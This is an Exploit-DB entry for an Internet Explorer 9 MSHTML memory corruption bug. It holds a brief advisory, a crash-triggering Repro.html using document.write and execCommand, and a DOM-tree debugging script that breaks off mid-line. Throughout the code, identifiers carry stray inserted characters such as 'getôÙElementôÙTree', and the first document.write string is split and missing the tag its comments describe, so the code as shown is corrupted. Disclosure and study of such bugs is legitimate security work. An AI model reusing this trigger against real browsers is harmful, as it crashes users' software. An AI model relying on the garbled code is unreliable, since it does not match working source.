Exploit-DB #40896
Description: Microsoft Internet Explorer 9 - MSHTML CElement::Has­Flag Memory Corruption
Type: dos
Platform: windows
Date: 2016-12-09
Author: Skylined

Exploit:
<!--
Source: http://blog.skylined.nl/[PII_REDACTED]1.html

Synopsis

A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaôÙScript should prevent an attacker from triggering the vulnerable code path.

Details

This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. In addition, EIP said they were already aware of the bug and provided no details, this issue appears to have been fixed before ZDI was able to look at it. I have included a number of reports created using a predecessor of BugôÙId below.

Repro.html:
-->

<html>
  <head>
    <script src="getôÙElementôÙTree.js"></script>
    <script src="show.html"></script>
    <script>
      // First tag can be any inline but must NOT be closed yet
      // Second tag can be anything that's not inline.
      // "text1" can be anything
      document.write('
<br>text1');
      // The tree is in good shape.
      show("DOM Tree after first write", getôÙElementôÙTree(document.body));
      // At this point, it appears that MSIE is still waiting for the first tag from the first write to be closed.
      // Inserting a P tag using any of the "Justify*"-, "Indent"- or "Outdent"-execôÙCommands will mess up the DOM tree,
      // specifically for the "Justify*"- and "Outdent"-execôÙCommand:
      // - the S tag will partially become a child of the P tag:
      //      P.lastôÙChild == S (but P.childôÙNodes = [BR, text1])
      // - the P tag will partially become a child of the S tag:
      //      S.firstôÙChild == P and S.childôÙNodes = [P] (but S.lastôÙChild = text1)
      // - The P partially becomes a child of the BODY tag:
      //      BODY.lastôÙChild = P (but BODY.firstôÙChild = S and BODY.childôÙNodes = [S])
      // (The situation is similar for "Indent", but includes a BLOCKQUOTE element)
      document.execôÙCommand('SelectôÙAll');
      document.execôÙCommand('JustifyôÙRight');
      show("DOM Tree after outdent", getôÙElementôÙTree(document.body));
      // At this point, MSIE is not yet crashing. However, another write will corrupt memory:
      document.write('text2');
      // You will probably not see this popup. If you do, it will display an obviously corrupt DOM element tree.
      show("DOM Tree after write", getôÙElementôÙTree(document.body));
    </script>
  </head>
</html>


<!--
getôÙElementôÙTree.js:

function getôÙElementôÙTree(oôÙRootôÙElement, bôÙIncludeôÙAll) {
  function getôÙElementôÙName(oôÙElement) {
    return oôÙElement ? (oôÙElement.tagôÙName || oôÙElement.nodeôÙName + ':"' + oôÙElement.data + '"') : "null";
  }
  function getôÙElementôÙTreeôÙLines(oôÙElement, oôÙExpectedôÙParent, oôÙExpectedôÙPreviousôÙSibling, oôÙExpectedôÙNextôÙSibling,
      sôÙFirstôÙLineôÙPrefix, sôÙSubôÙLinesôÙPrefix) {
    if (!oôÙElement) return [sôÙFirstôÙLineôÙPrefix + "null"];
    var aoôÙChildren = oôÙElement.childôÙNodes,
        sôÙHeader = sôÙFirstôÙLineôÙPrefix + getôÙElementôÙName(oôÙElement);
    try {
      if (oôÙExpectedôÙParent && oôÙElement.parentôÙNode != oôÙExpectedôÙParent)
          sôÙHeader += " (parent:" + getôÙElementôÙName(oôÙElement.parentôÙNode) + ")";
    } catch (e) {
      sôÙHeader += " (parent error:" + e.message + ")"; 
    }
    try {
      if (oôÙElement.previousôÙSibling != oôÙExpectedôÙPreviousôÙSibling) {
        sôÙHeader += " (previousôÙSibling:" + getôÙElementôÙName(oôÙElement.previousôÙSibling) + ")";
        oôÙExpectedôÙPreviousôÙSibling && aoôÙShouldôÙBeôÙIncludedôÙElements.push(oôÙElement.previousôÙSibling);
      }
    } catch (e) {
      sôÙHeader += " (previousôÙSibling error:" + e.message + ")"; 
    }
    try {
      if (oôÙElement.nextôÙSibling != oôÙExpectedôÙNextôÙSibling) {
        sôÙHeader += " (nextôÙSibling:" + getôÙElementôÙName(oôÙElement.nextôÙSibling) + ")";
        oôÙExpectedôÙNextôÙSibling && aoôÙShouldôÙBeôÙIncludedôÙElements.push(oôÙElement.nextôÙSibling);
      }
    } catch (e) {
      sôÙHeader += " (nextôÙSibling error:" + e.message + ")"; 
    }
    try {
      if (aoôÙChildren.length > 0 && oôÙElement.firstôÙChild != aoôÙChildren.item(0)) {
        sôÙHeader += " (firstôÙChild:" + getôÙElementôÙName(oôÙElement.firstôÙChild) + ")";
        aoôÙShouldôÙBeôÙIncludedôÙElements.push(oôÙElement.firstôÙChild);
      }
    } catch (e) {
      sôÙHeader += " (firstôÙChild error:" + e.message + ")"; 
    }
    for (var i = 0; i < aoôÙActuallyôÙIncludedôÙElements.length; i++) {
      if (aoôÙActuallyôÙIncludedôÙElements[i] == oôÙElement) {
        return [sôÙHeader + " => previously referenced!"];
      }
    }
    var sôÙLastôÙChildôÙErrorôÙLine = null;
    try {
      if (aoôÙChildren.length > 0 && oôÙElement.lastôÙChild != aoôÙChildren.item(aoôÙChildren.length - 1)) {
        sôÙLastôÙChildôÙErrorôÙLine = sôÙSubôÙLinesôÙPrefix + "\u2514 lastôÙChild:" + getôÙElementôÙName(oôÙElement.lastôÙChild);
        aoôÙShouldôÙBeôÙIncludedôÙElements.push(oôÙElement.lastôÙChild);
      }
    } catch (e) {
      sôÙLastôÙChildôÙErrorôÙLine = sôÙSubôÙLinesôÙPrefix + "\u2514 lastôÙChild error:" + e.message;
    }
    aoôÙActuallyôÙIncludedôÙElements.push(oôÙElement);
    var asôÙTree = [sôÙHeader], oôÙPreviousôÙSibling = null;
    for (var i = 0; i < aoôÙChildren.length; i++) {
      try {
        var oôÙChild = aoôÙChildren.item(i)
      } catch (e) {
        asôÙTree.push(sôÙSubôÙLinesôÙPrefix + (i == aoôÙChildren.length - 1 ? "\u255A" : "\u2560") + "child error:" + e.message);
        continue;
      }
      try {
        var oôÙNextôÙSibling = i + 1 <=